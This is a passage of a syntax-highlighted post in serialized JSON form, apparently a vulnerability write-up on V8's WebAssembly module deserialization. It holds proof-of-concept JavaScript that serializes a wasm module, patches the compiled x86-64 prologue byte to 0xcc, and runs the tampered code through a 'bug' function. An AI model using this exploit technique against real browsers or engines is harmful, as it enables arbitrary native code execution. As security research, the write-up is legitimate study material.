271,"props":146124,"children":146125},{"style":16187},[146126],{"type":30,"value":146127},"108",{"type":25,"tag":271,"props":146129,"children":146130},{"style":13625},[146131],{"type":30,"value":44},{"type":25,"tag":271,"props":146133,"children":146134},{"style":16187},[146135],{"type":30,"value":146127},{"type":25,"tag":271,"props":146137,"children":146138},{"style":13625},[146139],{"type":30,"value":14351},{"type":25,"tag":271,"props":146141,"children":146142},{"class":13593,"line":14354},[146143,146147,146151,146155,146159,146163,146167,146171,146175,146179,146183,146187,146191,146195,146199,146204],{"type":25,"tag":271,"props":146144,"children":146145},{"style":16187},[146146],{"type":30,"value":145920},{"type":25,"tag":271,"props":146148,"children":146149},{"style":13625},[146150],{"type":30,"value":44},{"type":25,"tag":271,"props":146152,"children":146153},{"style":16187},[146154],{"type":30,"value":953},{"type":25,"tag":271,"props":146156,"children":146157},{"style":13625},[146158],{"type":30,"value":44},{"type":25,"tag":271,"props":146160,"children":146161},{"style":16187},[146162],{"type":30,"value":102365},{"type":25,"tag":271,"props":146164,"children":146165},{"style":13625},[146166],{"type":30,"value":44},{"type":25,"tag":271,"props":146168,"children":146169},{"style":16187},[146170],{"type":30,"value":30650},{"type":25,"tag":271,"props":146172,"children":146173},{"style":13625},[146174],{"type":30,"value":44},{"type":25,"tag":271,"props":146176,"children":146177},{"style":16187},[146178],{"type":30,"value":968},{"type":25,"tag":271,"props":146180,"children":146181},{"style":13625},[146182],{"type":30,"value":44},{"type":25,"tag":271,"props":146184,"children":146185},{"style":16187},[146186],{"type":30,"value":1326},{"type":25,"tag":271,"props":146188,"children":146189},{"style":13625},[146190],{"type":30,"value":44},{"type":25,"tag":271,"props":146192,"children":146193},{"style":16187},[146194],{"type":30,"value":953},{"type":25,"tag":271,"props":146196,"children":146197},{"style":13625},[146198],{"type":30,"value":44},{"type":25,"tag":271,"props":146200,"children":146201},{"style":16187},[146202],{"type":30,"value":146203},"11",{"type":25,"tag":271,"props":146205,"children":146206},{"style":13625},[146207],{"type":30,"value":14351},{"type":25,"tag":271,"props":146209,"children":146210},{"class":13593,"line":14391},[146211],{"type":25,"tag":271,"props":146212,"children":146213},{"style":13625},[146214],{"type":30,"value":16904},{"type":25,"tag":271,"props":146216,"children":146217},{"class":13593,"line":14400},[146218,146222,146226,146230,146234,146239,146243,146247,146251,146256],{"type":25,"tag":271,"props":146219,"children":146220},{"style":14289},[146221],{"type":30,"value":48158},{"type":25,"tag":271,"props":146223,"children":146224},{"style":13598},[146225],{"type":30,"value":84738},{"type":25,"tag":271,"props":146227,"children":146228},{"style":13603},[146229],{"type":30,"value":16155},{"type":25,"tag":271,"props":146231,"children":146232},{"style":14289},[146233],{"type":30,"value":45045},{"type":25,"tag":271,"props":146235,"children":146236},{"style":13598},[146237],{"type":30,"value":146238}," WebAssembly",{"type":25,"tag":271,"props":146240,"children":146241},{"style":13625},[146242],{"type":30,"value":1860},{"type":25,"tag":271,"props":146244,"children":146245},{"style":13620},[146246],{"type":30,"value":99032},{"type":25,"tag":271,"props":146248,"children":146249},{"style":13625},[146250],{"type":30,"value":394},{"type":25,"tag":271,"props":146252,"children":146253},{"style":13598},[146254],{"type":30,"value":146255},"wasm_code",{"type":25,"tag":271,"props":146257,"children":146258},{"style":13625},[146259],{"type":30,"value":13665},{"type":25,"tag":271,"props":146261,"children":146262},{"class":13593,"line":16406},[146263,146267,146272,146276,146280,146284,146288,146293,146297,146302],{"type":25,"tag":271,"props":146264,"children":146265},{"style":14289},[146266],{"type":30,"value":48158},{"type":25,"tag":271,"props":146268,"children":146269},{"style":13598},[146270],{"type":30,"value":146271}," inst",{"type":25,"tag":271,"props":146273,"children":146274},{"style":13603},[146275],{"type":30,"value":16155},{"type":25,"tag":271,"props":146277,"children":146278},{"style":14289},[146279],{"type":30,"value":45045},{"type":25,"tag":271,"props":146281,"children":146282},{"style":13598},[146283],{"type":30,"value":146238},{"type":25,"tag":271,"props":146285,"children":146286},{"style":13625},[146287],{"type":30,"value":1860},{"type":25,"tag":271,"props":146289,"children":146290},{"style":13620},[146291],{"type":30,"value":146292},"Instance",{"type":25,"tag":271,"props":146294,"children":146295},{"style":13625},[146296],{"type":30,"value":394},{"type":25,"tag":271,"props":146298,"children":146299},{"style":13598},[146300],{"type":30,"value":146301},"mod",{"type":25,"tag":271,"props":146303,"children":146304},{"style":13625},[146305],{"type":30,"value":13665},{"type":25,"tag":271,"props":146307,"children":146308},{"class":13593,"line":16434},[146309,146313,146317,146321,146325,146329,146333,146337,146342],{"type":25,"tag":271,"props":146310,"children":146311},{"style":14289},[146312],{"type":30,"value":48158},{"type":25,"tag":271,"props":146314,"children":146315},{"style":13598},[146316],{"type":30,"value":93122},{"type":25,"tag":271,"props":146318,"children":146319},{"style":13603},[146320],{"type":30,"value":16155},{"type":25,"tag":271,"props":146322,"children":146323},{"style":13598},[146324],{"type":30,"value":146271},{"type":25,"tag":271,"props":146326,"children":146327},{"style":13625},[146328],{"type":30,"value":1860},{"type":25,"tag":271,"props":146330,"children":146331},{"style":13598},[146332],{"type":30,"value":50996},{"type":25,"tag":271,"props":146334,"children":146335},{"style":13625},[146336],{"type":30,"value":1860},{"type":25,"tag":271,"props":146338,"children":146339},{"style":13598},[146340],{"type":30,"value":146341},"shell",{"type":25,"tag":271,"props":146343,"children":146344},{"style":13625},[146345],{"type":30,"value":16165},{"type":25,"tag":271,"props":146347,"children":146348},{"class":13593,"line":16447},[146349],{"type":25,"tag":271,"props":146350,"children":146351},{"emptyLinePlaceholder":18},[146352],{"type":30,"value":16829},{"type":25,"tag":271,"props":146354,"children":146355},{"class":13593,"line":16465},[146356,146360,146365,146369,146373],{"type":25,"tag":271,"props":146357,"children":146358},{"style":13603},[146359],{"type":30,"value":69504},{"type":25,"tag":271,"props":146361,"children":146362},{"style":13620},[146363],{"type":30,"value":146364},"WasmTierUpFunction",{"type":25,"tag":271,"props":146366,"children":146367},{"style":13625},[146368],{"type":30,"value":394},{"type":25,"tag":271,"props":146370,"children":146371},{"style":13598},[146372],{"type":30,"value":89416},{"type":25,"tag":271,"props":146374,"children":146375},{"style":13625},[146376],{"type":30,"value":13665},{"type":25,"tag":271,"props":146378,"children":146379},{"class":13593,"line":16486},[146380,146384,146389,146393,146398,146402,146406,146410],{"type":25,"tag":271,"props":146381,"children":146382},{"style":14289},[146383],{"type":30,"value":48158},{"type":25,"tag":271,"props":146385,"children":146386},{"style":13598},[146387],{"type":30,"value":146388}," serialized",{"type":25,"tag":271,"props":146390,"children":146391},{"style":13603},[146392],{"type":30,"value":16155},{"type":25,"tag":271,"props":146394,"children":146395},{"style":13603},[146396],{"type":30,"value":146397}," %",{"type":25,"tag":271,"props":146399,"children":146400},{"style":13620},[146401],{"type":30,"value":145396},{"type":25,"tag":271,"props":146403,"children":146404},{"style":13625},[146405],{"type":30,"value":394},{"type":25,"tag":271,"props":146407,"children":146408},{"style":13598},[146409],{"type":30,"value":146301},{"type":25,"tag":271,"props":146411,"children":146412},{"style":13625},[146413],{"type":30,"value":13665},{"type":25,"tag":271,"props":146415,"children":146416},{"class":13593,"line":16495},[146417,146421,146425,146429,146433,146437,146441,146446],{"type":25,"tag":271,"props":146418,"children":146419},{"style":14289},[146420],{"type":30,"value":24912},{"type":25,"tag":271,"props":146422,"children":146423},{"style":13598},[146424],{"type":30,"value":22282},{"type":25,"tag":271,"props":146426,"children":146427},{"style":13603},[146428],{"type":30,"value":16155},{"type":25,"tag":271,"props":146430,"children":146431},{"style":14289},[146432],{"type":30,"value":45045},{"type":25,"tag":271,"props":146434,"children":146435},{"style":13620},[146436],{"type":30,"value":145907},{"type":25,"tag":271,"props":146438,"children":146439},{"style":13625},[146440],{"type":30,"value":394},{"type":25,"tag":271,"props":146442,"children":146443},{"style":13598},[146444],{"type":30,"value":146445},"serialized",{"type":25,"tag":271,"props":146447,"children":146448},{"style":13625},[146449],{"type":30,"value":13665},{"type":25,"tag":271,"props":146451,"children":146452},{"class":13593,"line":16744},[146453,146458,146462,146466,146470,146475,146479,146483,146487,146492,146496,146501,146505,146509,146514],{"type":25,"tag":271,"props":146454,"children":146455},{"style":13598},[146456],{"type":30,"value":146457},"console",{"type":25,"tag":271,"props":146459,"children":146460},{"style":13625},[146461],{"type":30,"value":1860},{"type":25,"tag":271,"props":146463,"children":146464},{"style":13620},[146465],{"type":30,"value":115047},{"type":25,"tag":271,"props":146467,"children":146468},{"style":13625},[146469],{"type":30,"value":394},{"type":25,"tag":271,"props":146471,"children":146472},{"style":17388},[146473],{"type":30,"value":146474},"'['",{"type":25,"tag":271,"props":146476,"children":146477},{"style":13603},[146478],{"type":30,"value":22025},{"type":25,"tag":271,"props":146480,"children":146481},{"style":13598},[146482],{"type":30,"value":22282},{"type":25,"tag":271,"props":146484,"children":146485},{"style":13625},[146486],{"type":30,"value":1860},{"type":25,"tag":271,"props":146488,"children":146489},{"style":13620},[146490],{"type":30,"value":146491},"join",{"type":25,"tag":271,"props":146493,"children":146494},{"style":13625},[146495],{"type":30,"value":394},{"type":25,"tag":271,"props":146497,"children":146498},{"style":17388},[146499],{"type":30,"value":146500},"', '",{"type":25,"tag":271,"props":146502,"children":146503},{"style":13625},[146504],{"type":30,"value":14406},{"type":25,"tag":271,"props":146506,"children":146507},{"style":13603},[146508],{"type":30,"value":2074},{"type":25,"tag":271,"props":146510,"children":146511},{"style":17388},[146512],{"type":30,"value":146513}," ']'",{"type":25,"tag":271,"props":146515,"children":146516},{"style":13625},[146517],{"type":30,"value":13665},{"type":25,"tag":26,"props":146519,"children":146520},{},[146521],{"type":30,"value":146522},"This produces the following output:",{"type":25,"tag":7764,"props":146524,"children":146526},{"code":146525},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[146527],{"type":25,"tag":264,"props":146528,"children":146529},{"__ignoreMap":7},[146530],{"type":30,"value":146525},{"type":25,"tag":26,"props":146532,"children":146533},{},[146534,146536,146542,146544,146550,146552,146558,146559,146565,146567,146572],{"type":30,"value":146535},"The bytes ",{"type":25,"tag":264,"props":146537,"children":146539},{"className":146538},[],[146540],{"type":30,"value":146541},"85, 72, 137, 229, ...",{"type":30,"value":146543}," correspond to the x86-64 function prologue (",{"type":25,"tag":264,"props":146545,"children":146547},{"className":146546},[],[146548],{"type":30,"value":146549},"push rbp; mov rbp, rsp",{"type":30,"value":146551},"). We replace the first byte with ",{"type":25,"tag":264,"props":146553,"children":146555},{"className":146554},[],[146556],{"type":30,"value":146557},"0xcc",{"type":30,"value":29582},{"type":25,"tag":264,"props":146560,"children":146562},{"className":146561},[],[146563],{"type":30,"value":146564},"int3",{"type":30,"value":146566}," opcode), and use this modified buffer as the serialized input to ",{"type":25,"tag":264,"props":146568,"children":146570},{"className":146569},[],[146571],{"type":30,"value":145370},{"type":30,"value":359},{"type":25,"tag":7764,"props":146574,"children":146576},{"code":146575,"language":48727,"meta":7,"className":48725,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[146577],{"type":25,"tag":264,"props":146578,"children":146579},{"__ignoreMap":7},[146580,146603,146630,146850,146917,146925,146952,147166,147418,147669,147895,148139,148359,148366,148415,148460,148504,148543,148555],{"type":25,"tag":271,"props":146581,"children":146582},{"class":13593,"line":13594},[146583,146587,146591,146595,146599],{"type":25,"tag":271,"props":146584,"children":146585},{"style":13625},[146586],{"type":30,"value":394},{"type":25,"tag":271,"props":146588,"children":146589},{"style":14289},[146590],{"type":30,"value":49257},{"type":25,"tag":271,"props":146592,"children":146593},{"style":13625},[146594],{"type":30,"value":52807},{"type":25,"tag":271,"props":146596,"children":146597},{"style":14289},[146598],{"type":30,"value":27943},{"type":25,"tag":271,"props":146600,"children":146601},{"style":13625},[146602],{"type":30,"value":16431},{"type":25,"tag":271,"props":146604,"children":146605},{"class":13593,"line":11641},[146606,146610,146614,146618,146622,146626],{"type":25,"tag":271,"props":146607,"children":146608},{"style":14289},[146609],{"type":30,"value":49300},{"type":25,"tag":271,"props":146611,"children":146612},{"style":13598},[146613],{"type":30,"value":145894},{"type":25,"tag":271,"props":146615,"children":146616},{"style":13603},[146617],{"type":30,"value":16155},{"type":25,"tag":271,"props":146619,"children":146620},{"style":14289},[146621],{"type":30,"value":45045},{"type":25,"tag":271,"props":146623,"children":146624},{"style":13620},[146625],{"type":30,"value":145907},{"type":25,"tag":271,"props":146627,"children":146628},{"style":13625},[146629],{"type":30,"value":145912},{"type":25,"tag":271,"props":146631,"children":146632},{"class":13593,"line":14354},[146633,146638,146642,146646,146650,146654,146658,146662,146666,146670,146674,146678,146682,146686,146690,146694,146698,146702,146706,146710,146714,146718,146722,146726,146730,146734,146738,146742,146746,146750,146754,146758,146762,146766,146770,146774,146778,146782,146786,146790,146794,146798,146802,146806,146810,146814,146818,146822,146826,146830,146834,146838,146842,146846],{"type":25,"tag":271,"props":146634,"children":146635},{"style":16187},[146636],{"type":30,"value":146637},"    0",{"type":25,"tag":271,"props":146639,"children":146640},{"style":13625},[146641],{"type":30,"value":44},{"type":25,"tag":271,"props":146643,"children":146644},{"style":16187},[146645],{"type":30,"value":145929},{"type":25,"tag":271,"props":146647,"children":146648},{"style":13625},[146649],{"type":30,"value":44},{"type":25,"tag":271,"props":146651,"children":146652},{"style":16187},[146653],{"type":30,"value":145938},{"type":25,"tag":271,"props":146655,"children":146656},{"style":13625},[146657],{"type":30,"value":44},{"type":25,"tag":271,"props":146659,"children":146660},{"style":16187},[146661],{"type":30,"value":145947},{"type":25,"tag":271,"props":146663,"children":146664},{"style":13625},[146665],{"type":30,"value":44},{"type":25,"tag":271,"props":146667,"children":146668},{"style":16187},[146669],{"type":30,"value":968},{"type":25,"tag":271,"props":146671,"children":146672},{"style":13625},[146673],{"type":30,"value":44},{"type":25,"tag":271,"props":146675,"children":146676},{"style":16187},[146677],{"type":30,"value":953},{"type":25,"tag":271,"props":146679,"children":146680},{"style":13625},[146681],{"type":30,"value":44},{"type":25,"tag":271,"props":146683,"children":146684},{"style":16187},[146685],{"type":30,"value":953},{"type":25,"tag":271,"props":146687,"children":146688},{"style":13625},[146689],{"type":30,"value":44},{"type":25,"tag":271,"props":146691,"children":146692},{"style":16187},[146693],{"type":30,"value":953},{"type":25,"tag":271,"props":146695,"children":146696},{"style":13625},[146697],{"type":30,"value":44},{"type":25,"tag":271,"props":146699,"children":146700},{"style":16187},[146701],{"type":30,"value":968},{"type":25,"tag":271,"props":146703,"children":146704},{"style":13625},[146705],{"type":30,"value":44},{"type":25,"tag":271,"props":146707,"children":146708},{"style":16187},[146709],{"type":30,"value":30650},{"type":25,"tag":271,"props":146711,"children":146712},{"style":13625},[146713],{"type":30,"value":44},{"type":25,"tag":271,"props":146715,"children":146716},{"style":16187},[146717],{"type":30,"value":968},{"type":25,"tag":271,"props":146719,"children":146720},{"style":13625},[146721],{"type":30,"value":44},{"type":25,"tag":271,"props":146723,"children":146724},{"style":16187},[146725],{"type":30,"value":146012},{"type":25,"tag":271,"props":146727,"children":146728},{"style":13625},[146729],{"type":30,"value":44},{"type":25,"tag":271,"props":146731,"children":146732},{"style":16187},[146733],{"type":30,"value":953},{"type":25,"tag":271,"props":146735,"children":146736},{"style":13625},[146737],{"type":30,"value":44},{"type":25,"tag":271,"props":146739,"children":146740},{"style":16187},[146741],{"type":30,"value":953},{"type":25,"tag":271,"props":146743,"children":146744},{"style":13625},[146745],{"type":30,"value":44},{"type":25,"tag":271,"props":146747,"children":146748},{"style":16187},[146749],{"type":30,"value":7711},{"type":25,"tag":271,"props":146751,"children":146752},{"style":13625},[146753],{"type":30,"value":44},{"type":25,"tag":271,"props":146755,"children":146756},{"style":16187},[146757],{"type":30,"value":1326},{"type":25,"tag":271,"props":146759,"children":146760},{"style":13625},[146761],{"type":30,"value":44},{"type":25,"tag":271,"props":146763,"children":146764},{"style":16187},[146765],{"type":30,"value":968},{"type":25,"tag":271,"props":146767,"children":146768},{"style":13625},[146769],{"type":30,"value":44},{"type":25,"tag":271,"props":146771,"children":146772},{"style":16187},[146773],{"type":30,"value":953},{"type":25,"tag":271,"props":146775,"children":146776},{"style":13625},[146777],{"type":30,"value":44},{"type":25,"tag":271,"props":146779,"children":146780},{"style":16187},[146781],{"type":30,"value":67787},{"type":25,"tag":271,"props":146783,"children":146784},{"style":13625},[146785],{"type":30,"value":44},{"type":25,"tag":271,"props":146787,"children":146788},{"style":16187},[146789],{"type":30,"value":69001},{"type":25,"tag":271,"props":146791,"children":146792},{"style":13625},[146793],{"type":30,"value":44},{"type":25,"tag":271,"props":146795,"children":146796},{"style":16187},[146797],{"type":30,"value":968},{"type":25,"tag":271,"props":146799,"children":146800},{"style":13625},[146801],{"type":30,"value":44},{"type":25,"tag":271,"props":146803,"children":146804},{"style":16187},[146805],{"type":30,"value":31231},{"type":25,"tag":271,"props":146807,"children":146808},{"style":13625},[146809],{"type":30,"value":44},{"type":25,"tag":271,"props":146811,"children":146812},{"style":16187},[146813],{"type":30,"value":145938},{"type":25,"tag":271,"props":146815,"children":146816},{"style":13625},[146817],{"type":30,"value":44},{"type":25,"tag":271,"props":146819,"children":146820},{"style":16187},[146821],{"type":30,"value":146109},{"type":25,"tag":271,"props":146823,"children":146824},{"style":13625},[146825],{"type":30,"value":44},{"type":25,"tag":271,"props":146827,"children":146828},{"style":16187},[146829],{"type":30,"value":146118},{"type":25,"tag":271,"props":146831,"children":146832},{"style":13625},[146833],{"type":30,"value":44},{"type":25,"tag":271,"props":146835,"children":146836},{"style":16187},[146837],{"type":30,"value":146127},{"type":25,"tag":271,"props":146839,"children":146840},{"style":13625},[146841],{"type":30,"value":44},{"type":25,"tag":271,"props":146843,"children":146844},{"style":16187},[146845],{"type":30,"value":146127},{"type":25,"tag":271,"props":146847,"children":146848},{"style":13625},[146849],{"type":30,"value":14351},{"type":25,"tag":271,"props":146851,"children":146852},{"class":13593,"line":14391},[146853,146857,146861,146865,146869,146873,146877,146881,146885,146889,146893,146897,146901,146905,146909,146913],{"type":25,"tag":271,"props":146854,"children":146855},{"style":16187},[146856],{"type":30,"value":146637},{"type":25,"tag":271,"props":146858,"children":146859},{"style":13625},[146860],{"type":30,"value":44},{"type":25,"tag":271,"props":146862,"children":146863},{"style":16187},[146864],{"type":30,"value":953},{"type":25,"tag":271,"props":146866,"children":146867},{"style":13625},[146868],{"type":30,"value":44},{"type":25,"tag":271,"props":146870,"children":146871},{"style":16187},[146872],{"type":30,"value":102365},{"type":25,"tag":271,"props":146874,"children":146875},{"style":13625},[146876],{"type":30,"value":44},{"type":25,"tag":271,"props":146878,"children":146879},{"style":16187},[146880],{"type":30,"value":30650},{"type":25,"tag":271,"props":146882,"children":146883},{"style":13625},[146884],{"type":30,"value":44},{"type":25,"tag":271,"props":146886,"children":146887},{"style":16187},[146888],{"type":30,"value":968},{"type":25,"tag":271,"props":146890,"children":146891},{"style":13625},[146892],{"type":30,"value":44},{"type":25,"tag":271,"props":146894,"children":146895},{"style":16187},[146896],{"type":30,"value":1326},{"type":25,"tag":271,"props":146898,"children":146899},{"style":13625},[146900],{"type":30,"value":44},{"type":25,"tag":271,"props":146902,"children":146903},{"style":16187},[146904],{"type":30,"value":953},{"type":25,"tag":271,"props":146906,"children":146907},{"style":13625},[146908],{"type":30,"value":44},{"type":25,"tag":271,"props":146910,"children":146911},{"style":16187},[146912],{"type":30,"value":146203},{"type":25,"tag":271,"props":146914,"children":146915},{"style":13625},[146916],{"type":30,"value":14351},{"type":25,"tag":271,"props":146918,"children":146919},{"class":13593,"line":14400},[146920],{"type":25,"tag":271,"props":146921,"children":146922},{"style":13625},[146923],{"type":30,"value":146924},"  ]);\n",{"type":25,"tag":271,"props":146926,"children":146927},{"class":13593,"line":16406},[146928,146932,146936,146940,146944,146948],{"type":25,"tag":271,"props":146929,"children":146930},{"style":14289},[146931],{"type":30,"value":49300},{"type":25,"tag":271,"props":146933,"children":146934},{"style":13598},[146935],{"type":30,"value":137707},{"type":25,"tag":271,"props":146937,"children":146938},{"style":13603},[146939],{"type":30,"value":16155},{"type":25,"tag":271,"props":146941,"children":146942},{"style":14289},[146943],{"type":30,"value":45045},{"type":25,"tag":271,"props":146945,"children":146946},{"style":13620},[146947],{"type":30,"value":145907},{"type":25,"tag":271,"props":146949,"children":146950},{"style":13625},[146951],{"type":30,"value":145912},{"type":25,"tag":271,"props":146953,"children":146954},{"class":13593,"line":16434},[146955,146960,146964,146968,146972,146977,146981,146986,146990,146995,146999,147004,147008,147013,147017,147022,147026,147031,147035,147040,147044,147048,147052,147056,147060,147065,147069,147074,147078,147082,147086,147090,147094,147098,147102,147106,147110,147114,147118,147122,147126,147130,147134,147138,147142,147146,147150,147154,147158,147162],{"type":25,"tag":271,"props":146956,"children":146957},{"style":16187},[146958],{"type":30,"value":146959},"    147",{"type":25,"tag":271,"props":146961,"children":146962},{"style":13625},[146963],{"type":30,"value":44},{"type":25,"tag":271,"props":146965,"children":146966},{"style":16187},[146967],{"type":30,"value":31542},{"type":25,"tag":271,"props":146969,"children":146970},{"style":13625},[146971],{"type":30,"value":44},{"type":25,"tag":271,"props":146973,"children":146974},{"style":16187},[146975],{"type":30,"value":146976},"222",{"type":25,"tag":271,"props":146978,"children":146979},{"style":13625},[146980],{"type":30,"value":44},{"type":25,"tag":271,"props":146982,"children":146983},{"style":16187},[146984],{"type":30,"value":146985},"192",{"type":25,"tag":271,"props":146987,"children":146988},{"style":13625},[146989],{"type":30,"value":44},{"type":25,"tag":271,"props":146991,"children":146992},{"style":16187},[146993],{"type":30,"value":146994},"20",{"type":25,"tag":271,"props":146996,"children":146997},{"style":13625},[146998],{"type":30,"value":44},{"type":25,"tag":271,"props":147000,"children":147001},{"style":16187},[147002],{"type":30,"value":147003},"119",{"type":25,"tag":271,"props":147005,"children":147006},{"style":13625},[147007],{"type":30,"value":44},{"type":25,"tag":271,"props":147009,"children":147010},{"style":16187},[147011],{"type":30,"value":147012},"44",{"type":25,"tag":271,"props":147014,"children":147015},{"style":13625},[147016],{"type":30,"value":44},{"type":25,"tag":271,"props":147018,"children":147019},{"style":16187},[147020],{"type":30,"value":147021},"43",{"type":25,"tag":271,"props":147023,"children":147024},{"style":13625},[147025],{"type":30,"value":44},{"type":25,"tag":271,"props":147027,"children":147028},{"style":16187},[147029],{"type":30,"value":147030},"127",{"type":25,"tag":271,"props":147032,"children":147033},{"style":13625},[147034],{"type":30,"value":44},{"type":25,"tag":271,"props":147036,"children":147037},{"style":16187},[147038],{"type":30,"value":147039},"62",{"type":25,"tag":271,"props":147041,"children":147042},{"style":13625},[147043],{"type":30,"value":44},{"type":25,"tag":271,"props":147045,"children":147046},{"style":16187},[147047],{"type":30,"value":7711},{"type":25,"tag":271,"props":147049,"children":147050},{"style":13625},[147051],{"type":30,"value":44},{"type":25,"tag":271,"props":147053,"children":147054},{"style":16187},[147055],{"type":30,"value":953},{"type":25,"tag":271,"props":147057,"children":147058},{"style":13625},[147059],{"type":30,"value":44},{"type":25,"tag":271,"props":147061,"children":147062},{"style":16187},[147063],{"type":30,"value":147064},"159",{"type":25,"tag":271,"props":147066,"children":147067},{"style":13625},[147068],{"type":30,"value":44},{"type":25,"tag":271,"props":147070,"children":147071},{"style":16187},[147072],{"type":30,"value":147073},"206",{"type":25,"tag":271,"props":147075,"children":147076},{"style":13625},[147077],{"type":30,"value":44},{"type":25,"tag":271,"props":147079,"children":147080},{"style":16187},[147081],{"type":30,"value":57265},{"type":25,"tag":271,"props":147083,"children":147084},{"style":13625},[147085],{"type":30,"value":44},{"type":25,"tag":271,"props":147087,"children":147088},{"style":16187},[147089],{"type":30,"value":147021},{"type":25,"tag":271,"props":147091,"children":147092},{"style":13625},[147093],{"type":30,"value":44},{"type":25,"tag":271,"props":147095,"children":147096},{"style":16187},[147097],{"type":30,"value":953},{"type":25,"tag":271,"props":147099,"children":147100},{"style":13625},[147101],{"type":30,"value":44},{"type":25,"tag":271,"props":147103,"children":147104},{"style":16187},[147105],{"type":30,"value":953},{"type":25,"tag":271,"props":147107,"children":147108},{"style":13625},[147109],{"type":30,"value":44},{"type":25,"tag":271,"props":147111,"children":147112},{"style":16187},[147113],{"type":30,"value":7711},{"type":25,"tag":271,"props":147115,"children":147116},{"style":13625},[147117],{"type":30,"value":44},{"type":25,"tag":271,"props":147119,"children":147120},{"style":16187},[147121],{"type":30,"value":953},{"type":25,"tag":271,"props":147123,"children":147124},{"style":13625},[147125],{"type":30,"value":44},{"type":25,"tag":271,"props":147127,"children":147128},{"style":16187},[147129],{"type":30,"value":953},{"type":25,"tag":271,"props":147131,"children":147132},{"style":13625},[147133],{"type":30,"value":44},{"type":25,"tag":271,"props":147135,"children":147136},{"style":16187},[147137],{"type":30,"value":953},{"type":25,"tag":271,"props":147139,"children":147140},{"style":13625},[147141],{"type":30,"value":44},{"type":25,"tag":271,"props":147143,"children":147144},{"style":16187},[147145],{"type":30,"value":953},{"type":25,"tag":271,"props":147147,"children":147148},{"style":13625},[147149],{"type":30,"value":44},{"type":25,"tag":271,"props":147151,"children":147152},{"style":16187},[147153],{"type":30,"value":953},{"type":25,"tag":271,"props":147155,"children":147156},{"style":13625},[147157],{"type":30,"value":44},{"type":25,"tag":271,"props":147159,"children":147160},{"style":16187},[147161],{"type":30,"value":42535},{"type":25,"tag":271,"props":147163,"children":147164},{"style":13625},[147165],{"type":30,"value":14351},{"type":25,"tag":271,"props":147167,"children":147168},{"class":13593,"line":16447},[147169,147173,147177,147181,147185,147189,147193,147197,147201,147205,147209,147213,147217,147221,147225,147229,147233,147237,147241,147245,147249,147253,147257,147261,147265,147269,147273,147277,147281,147285,147289,147293,147297,147301,147305,147310,147314,147318,147322,147326,147330,147334,147338,147342,147346,147350,147354,147358,147362,147366,147370,147374,147378,147382,147386,147390,147394,147398,147402,147406,147410,147414],{"type":25,"tag":271,"props":147170,"children":147171},{"style":16187},[147172],{"type":30,"value":146637},{"type":25,"tag":271,"props":147174,"children":147175},{"style":13625},[147176],{"type":30,"value":44},{"type":25,"tag":271,"props":147178,"children":147179},{"style":16187},[147180],{"type":30,"value":953},{"type":25,"tag":271,"props":147182,"children":147183},{"style":13625},[147184],{"type":30,"value":44},{"type":25,"tag":271,"props":147186,"children":147187},{"style":16187},[147188],{"type":30,"value":953},{"type":25,"tag":271,"props":147190,"children":147191},{"style":13625},[147192],{"type":30,"value":44},{"type":25,"tag":271,"props":147194,"children":147195},{"style":16187},[147196],{"type":30,"value":953},{"type":25,"tag":271,"props":147198,"children":147199},{"style":13625},[147200],{"type":30,"value":44},{"type":25,"tag":271,"props":147202,"children":147203},{"style":16187},[147204],{"type":30,"value":953},{"type":25,"tag":271,"props":147206,"children":147207},{"style":13625},[147208],{"type":30,"value":44},{"type":25,"tag":271,"props":147210,"children":147211},{"style":16187},[147212],{"type":30,"value":953},{"type":25,"tag":271,"props":147214,"children":147215},{"style":13625},[147216],{"type":30,"value":44},{"type":25,"tag":271,"props":147218,"children":147219},{"style":16187},[147220],{"type":30,"value":953},{"type":25,"tag":271,"props":147222,"children":147223},{"style":13625},[147224],{"type":30,"value":44},{"type":25,"tag":271,"props":147226,"children":147227},{"style":16187},[147228],{"type":30,"value":968},{"type":25,"tag":271,"props":147230,"children":147231},{"style":13625},[147232],{"type":30,"value":44},{"type":25,"tag":271,"props":147234,"children":147235},{"style":16187},[147236],{"type":30,"value":953},{"type":25,"tag":271,"props":14723